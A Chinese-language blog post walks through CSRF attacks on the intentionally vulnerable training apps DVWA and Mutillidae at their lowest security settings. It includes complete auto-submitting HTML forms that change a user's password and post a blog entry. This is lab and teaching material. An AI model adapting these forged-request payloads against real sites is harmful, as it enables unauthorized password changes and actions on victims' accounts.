Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1743446
  • 博文数量: 297
  • 博客积分: 285
  • 博客等级: 二等列兵
  • 技术积分: 3006
  • 用 户 组: 普通用户
  • 注册时间: 2010-03-06 22:04
个人简介

Linuxer, ex IBMer. GNU https://hmchzb19.github.io/

文章分类

全部博文(297)

文章存档

2020年(11)

2019年(15)

2018年(43)

2017年(79)

2016年(79)

2015年(58)

2014年(1)

2013年(8)

2012年(3)

分类: 网络与安全

2017-11-13 14:20:05

1.  CSRF  : cross-site request forgery attack, 主要是因为server 对于client 的request 没有做足够的检查,不允许cross-domain, 或者检查HTTP 的Referrer 都可以很大程度的减少这个危害。

2. 例子还是选择DVWA和Mutillidae ,DVWA 会简单一些。思路很简单,首先使用Burp 查看client 向server 端提交的data 都是什么。
设置DVWA的security level 是low, 首先利用DVWA的不检查user request 来修改用户的密码: 如下面的web page:

点击(此处)折叠或打开

  1. http://192.168.0.119/dvwa/vulnerabilities/csrf/
我构造了如下的html 文件.

点击(此处)折叠或打开

  1. <form id="csrf-form" action="" method="GET">
  2. <input type="hidden" autocomplete="off" name="password_new" value="666666">
  3. <input type="hidden" autocomplete="off" name="password_conf" value="666666">
  4. <input type="hidden" name="Change" value="Change">
  5. </form>

  6. <script>
  7. document.getElementById('csrf-form').submit();
  8. </script>

直接在本机打开,就看到了页面提示,用户密码成功修改.

2. Mutillidae 的稍微复杂一些. 如下面的page. (security level 为0)

点击(此处)折叠或打开

  1. http://192.168.0.119/mutillidae/index.php?page=add-to-your-blog.php
还是首先在页面上提交一下,用Burp 看看都提交了什么data.

点击(此处)折叠或打开

  1. csrf-token=SecurityIsDisabled&blog_entry=test&add-to-your-blog-php-submit-button=Save+Blog+Entry
利用这些data,我构造了一个html, 这里我碰到了一个问题, textarea 是没有value属性的,因此要么写成

点击(此处)折叠或打开

  1. <textarea>YOURDATA</text>
  2. 要么使用javascript来manipulate 这个data.

点击(此处)折叠或打开

  1. <form id="csrf-form" action="http://192.168.0.119/mutillidae/index.php?page=add-to-your-blog.php" method="POST">
  2. <input type="hidden" autocomplete="off" name="csrf-token" value="SecurityIsDisabled">
  3. <textarea id="tt1" type="hidden" autocomplete="off" name="blog_entry"></textarea>
  4. <input type="hidden" autocomplete="off" name="add-to-your-blog-php-submit-button" value="Save Blog Entry">
  5. </form>

  6. <script>
  7. document.getElementById('tt1').value="This is achieved by CSRF";
  8. document.getElementById('csrf-form').submit();
  9. </script>
在本机打开,可以看到新生成的blog.
"This is achieved by CSRF"

3. 这次我没有尝试提升security level到medium (或者1),都是在最低的security level 下完成的。



阅读(1167) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~